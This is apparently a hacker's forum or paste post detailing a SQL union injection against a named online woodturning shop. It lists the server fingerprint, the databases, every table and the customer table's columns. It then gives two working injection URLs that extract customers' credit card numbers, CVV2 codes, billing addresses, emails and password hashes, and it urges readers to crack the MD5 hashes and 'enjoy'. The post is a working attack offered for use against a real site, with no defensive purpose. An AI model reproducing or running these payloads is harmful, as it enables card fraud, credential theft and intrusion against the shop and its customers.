https://www.woodturners.net/

https://www.woodturners.net/

https://www.woodturners.net/us/cataloguecustomer_testimonials.php?testimonial_id=2

Server = Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a Phusion_Passenger/2.1.3 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Version = 5.0.77-community-log
Powered by = PHP/5.2.8
Attack Type = SQL Union Injection
Current User = woodturn_dbUser@localhost
Current Database = woodturn_us
Supports Union = yes
Union Columns = 7


Database:
woodturn_us
information_schema
woodturn_ca
woodturn_cagzkey
woodturn_us
woodturn_usgzkey


Tables:
address_book
address_format
affiliate_affiliate
affiliate_banners
affiliate_banners_history
affiliate_clickthroughs
affiliate_payment
affiliate_payment_status
affiliate_payment_status_history
affiliate_sales
banners
banners_history
categories
categories_description
configuration
configuration_group
counter
counter_history
countries
currencies
customer_testimonials
customers
customers_basket
customers_basket_attributes
customers_info
geo_zones
languages
manufacturers
manufacturers_info
newsletters
orders
orders_products
orders_products_attributes
orders_products_download
orders_status
orders_status_history
orders_total
products
products_attributes
products_attributes_download
products_description
products_notifications
products_options
products_options_values
products_options_values_to_products_options
products_staffelpreis
products_to_categories
reviews
reviews_description
sessions
specials
tax_class
tax_rates
whos_online
zones
zones_to_geo_zones


Columns of customers
customers_firstname
customers_lastname
customers_email_address
customers_password
customers_dob
customers_gender
customers_default_address_id
customers_telephone
customers_fax
customers_newsletter


https://www.woodturners.net/us/catalogue/customer_testimonials.php?testimonial_id=2+and+1=0+union+select+1,2,concat(orders_id,0x2F,billing_name,0x2F,billing_street_address,0x2F,billing_city,0x
2F,billing_postcode,0x2F,billing_state,0x2F,billing_country,0x2F,cc_owner,0x2F,cc
_number,0x2F,cc_cvv2,0x2F,cc_expires,0x2F,date_purchased),4,5,6,7+from+orders--


https://www.woodturners.net/us/catalogue/customer_testimonials.php?testimonial_id=2+and+1=0+union+select+1,2,concat(customers_id,0x2F,customers_email_address,0x2F,customers_password),4,5,6,7+from+customers--


For Email and Pass from Customers, cracked by yourself..
its md5 hash, find it in google...
So Enjoy this...
Remember...
More appreciate will make me smile..